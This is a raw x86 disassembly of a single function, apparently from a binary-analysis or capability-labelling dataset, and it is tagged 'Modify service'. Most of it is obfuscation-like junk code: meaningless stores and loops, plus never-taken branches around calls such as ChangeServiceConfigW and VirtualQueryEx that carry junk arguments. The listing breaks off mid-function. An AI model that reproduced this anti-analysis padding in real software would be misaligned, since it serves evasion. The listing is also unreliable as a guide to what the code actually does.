Function at 0x44b0e5
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0xc], 0x60477862
xor ebx, ebx
mov byte [ebp - 0x29], dl
push 2
mov dword [ebp - 0x1c], esi
mov dword [ebp - 8], ebx
pop ecx
jmp 0x44b11a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xb0], 0x11151c3c
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44b109
mov dword [ebp - 8], ebx
jmp 0x44b135
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xc8], 0xfffffff9
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44b124
mov dword [ebp - 0xc], ebx
jmp 0x44b14b
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 7
je 0x44b13f
mov eax, dword [ebp - 0xb0]
push edi
push 1
pop edi
cmp eax, dword [ebp - 0xc]
jl 0x44b16a
mov ecx, edi
cmp dword [ebp - 0xac], ebx
jne 0x44b16c
mov ecx, ebx
cmp dword [ebp - 0xb0], ebx
jne 0x44b17a
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
lea eax, [ecx - 1]
push 5
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 0xfffffffe
mov dword [ebp - 4], 0xea5223fa
mov dword [ebp - 0x24], 0x3b372ba2
mov dword [ebp - 0x24], 0x5d5f8d9a
mov dword [ebp - 0x24], 0x475ee4c2
mov dword [ebp - 0x24], 0x8e503485
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xaac89535
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 8], ebx
jmp 0x44b1df
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x154], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x44b1ce
mov dword [ebp - 8], ebx
jmp 0x44b1fa
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1d8], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x44b1e9
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub ecx, 0xfffffffc
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setle dl
xor ecx, ecx
cmp eax, 0xaf5a
setle cl
xor eax, eax
cmp ecx, 0xffffffff
setl al
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, 0xa8df17d
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], ebx
jg 0x44b2ca
mov eax, 0x7d0d1d8
mov dword [ebp - 0x24], 0xcc09
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 4], ebx
jmp 0x44b2a9
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x24], 0x3413f087
mov dword [ebp - 0x24], 0x2a0c0e07
mov dword [ebp - 0x18], ebx
jmp 0x44b29d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1cc], 0x585ca258
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x44b28c
dec dword [ebp - 0x28]
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jle 0x44b26f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x44b2bd
push ebx
call dword [sym.imp.COMDLG32.dll_FindTextW]
inc dword [ebp - 0xc]
mov eax, 0x7d0d1d8
cmp dword [ebp - 0xc], ebx
jle 0x44b24b
mov dword [ebp - 8], 0x7084bc9c
mov dword [ebp - 0x110], 0xffffffff
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], ebx
jmp 0x44b30f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x44], 0x2c03342e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44b301
xor ecx, ecx
mov dword [ebp - 0x10], ebx
inc ecx
jmp 0x44b32b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x30], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44b31d
mov dword [ebp - 0x10], ebx
jmp 0x44b342
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44b335
mov dword [ebp - 0x44], 0x1b
cmp dword [ebp - 0x44], 0xfffffff7
jle 0x44b3be
mov dword [ebp - 0xc], 0xa956
mov dword [ebp - 0x20], 2
mov dword [ebp - 4], ebx
jmp 0x44b379
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x168], 0x68f9
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x44b368
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 8], ebx
jne 0x44b38a
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 0xc]
dec edx
cmp edx, eax
mov eax, dword [ebp - 0xc]
push 1
setg cl
xor edx, edx
lea ecx, [ecx*4 - 0x2d3bc]
cmp eax, ecx
pop ecx
setne dl
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x20], edx
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff7
jg 0x44b355
push 9
pop edi
cmp dword [ebp - 0x44], ecx
jl 0x44b511
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x28], 0xab8bf514
mov dword [ebp - 0x18], 0x49cf
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 4], ebx
jmp 0x44b3f8
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x170], 0x72abf771
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x44b3e7
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], ebx
jg 0x44b578
mov dword [ebp - 0x20], 0xae88b149
mov dword [ebp - 4], ebx
jmp 0x44b424
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x58], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44b416
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0xc]
sub eax, 0x4c0ab3c3
mov dword [ebp - 0x20], eax
jne 0x44b440
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 8]
push 1
mov edx, dword [ebp + eax*4 - 0x30]
mov ecx, dword [ebp - 0x44]
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setg al
xor ecx, ecx
cmp eax, 0xd55a
mov eax, dword [ebp - 8]
setge cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x58]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 8]
setg cl
xor edx, edx
imul ecx, ecx, 0x461b
mov eax, dword [ebp + eax*4 - 0x30]
add eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + eax*4 - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, 0x1db06d67
setl dl
xor ecx, ecx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x30]
cmp eax, edx
mov eax, dword [ebp - 0x18]
sete cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x58]
mov eax, dword [ebp - 8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x8c]
cmp eax, edx
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x170], eax
inc dword [ebp - 8]
pop ecx
cmp dword [ebp - 8], ebx
jle 0x44b40a
jmp 0x44b575
mov eax, 0x5b7d
xor ecx, ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 8]
cmp eax, edi
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
setge cl
add edx, 0x5ee2cbd0
add edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0xe0]
setg cl
add eax, ecx
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x8c], eax
xor ecx, ecx
inc ecx
mov dword [ebp - 8], ebx
jmp 0x44b58a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x138], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x44b57d
mov dword [ebp - 8], ebx
jmp 0x44b5a3
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x38], 0xc184c506
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44b595
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], ebx
jl 0x44b5c1
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x138], ebx
jne 0x44b5c1
dec dword [ebp - 0x38]
jns 0x44b5b0
mov edx, dword [0x4baa0c]
mov dword [ebp - 0x10], 0xfa5c62e0
mov dword [ebp - 4], 0xc1dfe936
mov dword [ebp - 0x20], 4
mov dword [ebp - 0xc], 0x5d01cd4
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], edx
test eax, eax
je 0x44b65a
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x10]
jg 0x44b613
cmp dword [ebp - 0x10], ebx
je 0x44b613
xor ecx, ecx
lea edx, [ecx + 1]
jmp 0x44b615
mov edx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, 0xbb4f
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jne 0x44b63c
mov ecx, ebx
jmp 0x44b641
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x10]
imul eax, ecx
test eax, eax
jne 0x44b64e
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
inc ecx
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 0x10], 0xdbf4df7b
ja 0x44b672
mov dword [ebp - 0x20], 0xc0c8fbfc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
jmp 0x44b6b5
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], 0x55bb5fb4
cmp dword [ebp - 0xc], ecx
jne 0x44b684
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
imul eax, dword [ebp - 0xc], 7
mov ecx, dword [ebp - 0xc]
neg ecx
sub ecx, eax
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jne 0x44b6ac
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
add eax, 2
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], 0x2667a876
mov dword [ebp - 4], ecx
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
jmp 0x44b6e2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1c4], 0xfdf99ff6
inc dword [ebp - 4]
push 3
pop eax
cmp dword [ebp - 4], eax
jl 0x44b6d1
mov dword [ebp - 4], ecx
jmp 0x44b71d
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 4]
push 3
mov eax, dword [ebp + eax*4 - 0x1c4]
mov dword [ebp - 0x124], eax
inc dword [ebp - 4]
pop eax
cmp dword [ebp - 4], 2
jle 0x44b6ef
cmp byte [ebp - 0x29], cl
je 0x44b8ee
xor eax, eax
inc eax
cmp edx, eax
jne 0x44b8ee
mov dword [ebp - 0x18], 0x25d1
xor edx, edx
mov dword [ebp - 0xc], 0x33356370
mov dword [ebp - 0x20], 0x2d34caa8
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x44b7c8
mov dword [ebp - 0xc], 0x8306
inc edx
mov dword [ebp - 4], ecx
jmp 0x44b774
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb4], 0xfffffffb
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x44b763
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jne 0x44b7b1
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
xor ecx, ecx
cmp edx, 0x61fc2da8
setg cl
xor eax, eax
imul ecx, dword [ebp - 0xc]
cmp ecx, 0x717be9fb
setle al
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
jmp 0x44b864
mov dword [ebp - 4], edx
jmp 0x44b7de
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xf4], 0xd1ed
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x44b7cd
mov dword [ebp - 0xc], 0x16
cmp dword [ebp - 0xc], 0xfffffffe
je 0x44b866
xor ecx, ecx
mov dword [ebp - 8], 0xfffffff7
mov dword [ebp - 4], edx
inc ecx
jmp 0x44b811
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc0], 0x818264d9
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44b800
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
sub ecx, 7
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf4]
neg ecx
push 0
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
xor eax, eax
cmp ecx, 0xffffffff
setg al
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xf4]
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffffe
jne 0x44b7f1
xor edx, edx
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44b87f
push 0xfda
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor edx, edx
mov dword [ebp - 4], edi
mov eax, 0xfe6e324
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
push 4
mov dword [ebp - 0x118], eax
pop ecx
mov dword [ebp - 0x114], eax
mov dword [ebx + 8], ecx
mov dword [ebp - 4], edx
jmp 0x44b8df
mov dword [ebp - 0x18], 0x1e2c0d37
mov dword [ebp - 0x20], 0x9b7928fb
mov dword [ebp - 0x18], edx
jmp 0x44b8cb
mov dword [ebp + eax*4 - 0x120], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
jl 0x44b8bd
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1d
jge 0x44b8aa
mov dword [ebx + 0xc], 0x4baa0c
jmp 0x44b8f0
xor edx, edx
cmp esi, dword [ebp - 0x28]
jge 0x44c583
xor ebx, ebx
mov dword [ebp - 8], 0x82062403
mov dword [ebp - 8], 0x1d
inc ebx
cmp dword [ebp - 8], 0xffffffec
jge 0x44b9a0
mov dword [ebp - 4], 0x88b9228
mov dword [ebp - 0x20], 0x4cb44179
mov dword [ebp - 0x10], edx
jmp 0x44b935
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3c], 0x6f18
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x44b927
mov dword [ebp - 0x10], edx
jmp 0x44b950
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa8], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x44b93f
cmp dword [ebp - 8], edx
je 0x44b985
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 4], eax
jle 0x44b973
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 8]
mov dword [ebp - 0xa8], 0xfffffff9
dec dword [ebp - 8]
jmp 0x44b90a
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44b9b3
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor edx, edx
mov dword [ebp - 8], ebx
mov esi, 0x4baa10
mov dword [ebp - 4], 0x7b831966
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], edx
jmp 0x44b9db
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x88], 6
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x44b9ca
mov dword [ebp - 8], edx
jmp 0x44bb30
mov dword [ebp - 0xc], 0xc69aed23
mov dword [ebp - 0x10], 0xfffffffb
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44ba1f
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push 0x13f5
push 0x14b2
push 0xe93
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
xor edx, edx
mov dword [ebp - 0xc], 2
cmp dword [ebp - 0xc], edx
jl 0x44bb2d
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 4], edx
jmp 0x44ba49
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x5c], 0xc77dcda7
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x44ba3b
mov eax, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, eax
setne dl
xor ecx, ecx
cmp edx, 0x1d8f
mov dword [ebp - 0x88], edx
setge cl
xor eax, eax
cmp ecx, 0xbf11
setge al
xor edx, edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
je 0x44bb18
mov dword [ebp - 0x20], 0xdc630de2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov eax, 0xd370
neg ecx
sbb ecx, ecx
neg ecx
sub eax, ecx
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
sub edx, 0x4edbde96
neg edx
sbb edx, edx
mov ecx, dword [ebp + eax*4 - 0x88]
neg edx
mov eax, 0x5834
sub eax, edx
xor edx, edx
cmp eax, ecx
jg 0x44baf9
cmp dword [ebp - 8], edx
je 0x44bafc
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x5c]
jne 0x44bb0e
mov eax, edx
cmp dword [ebp - 8], edx
je 0x44bb10
mov eax, ebx
mov dword [ebp - 0x84], eax
jmp 0x44bb24
mov dword [ebp - 0x20], 0x3dc4d7e3
cmp dword [ebp - 0x20], edx
jne 0x44bb2d
dec dword [ebp - 0xc]
jns 0x44ba2f
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jle 0x44b9e9
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x44bb66
push edx
push 0x26c7
push edx
push 0x975
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
xor edx, edx
cmp dword [ebp - 0x1c], 0
mov ebx, edx
mov dword [ebp - 0x10], edx
jle 0x44bfd6
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], edx
jmp 0x44bb92
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1b8], 0xfffffffd
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x44bb81
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0x1d
je 0x44bc39
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0x20], 0xefc07e17
jbe 0x44bbea
mov eax, dword [ebp - 4]
cmp dword [ebp - 8], ebx
jne 0x44bbd1
cmp dword [ebp - 4], ebx
je 0x44bbd6
cmp dword [ebp - 8], ebx
je 0x44bbd6
lea ecx, [esi + 1]
jmp 0x44bbd8
mov ecx, ebx
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 8], eax
mov eax, ebx
jg 0x44bbed
lea eax, [esi + 1]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0xc], ebx
jmp 0x44bc1e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x44bc1b
push 0x8e4
push 0x1747
push 0x5b5
push 0x1143
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe3
jg 0x44bbf8
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1d
jne 0x44bba9
mov esi, dword [ebp - 0x18]
xor edx, edx
mov ebx, dword [ebp - 0x10]
mov edi, dword [esi]
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], 0xa1654207
push 4
mov dword [ebp - 0x20], 7
mov dword [ebp - 8], edx
pop ecx
jmp 0x44bc65
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1a0], 0x9fe387fb
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44bc54
mov dword [ebp - 8], edx
jmp 0x44bc7c
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x190], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44bc6f
mov eax, dword [ebp - 0x19c]
xor ecx, ecx
mov dword [ebp - 0x18c], eax
inc ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 4
sbb eax, eax
inc eax
add esi, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xea75c96
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 8], 0xbbd4856c
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], edx
jmp 0x44bce3
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x160], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44bcd6
mov dword [ebp - 4], 0xb
jmp 0x44bcfa
mov dword [ebp - 0xc], ecx
inc dword [ebp - 0xc]
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xffffffff
jl 0x44bcf1
dec dword [ebp - 8]
mov esi, dword [esi]
mov dword [ebp - 0xc], 0xe1757117
mov dword [ebp - 4], edx
jmp 0x44bd1f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x60], 0x245f1dbe
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44bd11
mov dword [ebp - 0xc], 0xffffffe8
cmp dword [ebp - 0xc], 0xfffffff2
jge 0x44bdac
xor ebx, ebx
mov dword [ebp - 4], ebx
jmp 0x44bd46
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x4c], 0xd37ad43
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x44bd38
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x44bd60
push ebx
push 0x15bb
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
mov dword [ebp - 0x4c], ebx
jmp 0x44bd96
mov dword [ebp - 4], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ebx
jl 0x44bd85
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x44bd80
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
dec dword [ebp - 4]
jns 0x44bd70
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x60], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ebx
jle 0x44bd65
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff2
jl 0x44bd33
mov ebx, dword [ebp - 0x10]
xor ecx, ecx
xor edx, edx
inc ecx
add dword [ebp - 0x18], 4
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], 0x438e2136
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0xc], 0xffffffef
jmp 0x44bf60
mov dword [ebp - 4], 0x8bac04ee
mov dword [ebp - 8], ecx
mov dword [ebp - 8], edx
jmp 0x44bde6
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x34], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x44bddc
mov dword [ebp - 8], edx
jmp 0x44be01
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x180], 5
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x44bdf0
xor ecx, ecx
mov edx, 0xa9864ba8
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 4]
cmp eax, edx
setg cl
xor edx, edx
add ecx, 0xffffe2f0
mov dword [ebp - 0x174], ecx
mov eax, dword [ebp - 4]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, 0x6e7f737a
setg cl
sub ecx, dword [ebp - 4]
cmp ecx, 7
sbb ecx, ecx
inc ecx
sub eax, ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp dword [ebp - 4], eax
jne 0x44be6f
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], dl
je 0x44bf5a
push edx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x44bf58
mov dword [ebp - 0x10], edx
jmp 0x44be85
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x98], 0xb16e2c9b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44be74
push 3
mov dword [ebp - 0x10], edx
pop ecx
jmp 0x44bea4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa4], 0xf4aca62e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44be93
mov dword [ebp - 0x10], edx
jmp 0x44bebf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1ac], 5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44beae
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x34], edx
jne 0x44bf12
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x94]
sub edx, eax
mov eax, dword [ebp - 0x98]
neg edx
push 0xfffffffffffffff7
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
pop eax
setge cl
sub eax, ecx
xor edx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x34]
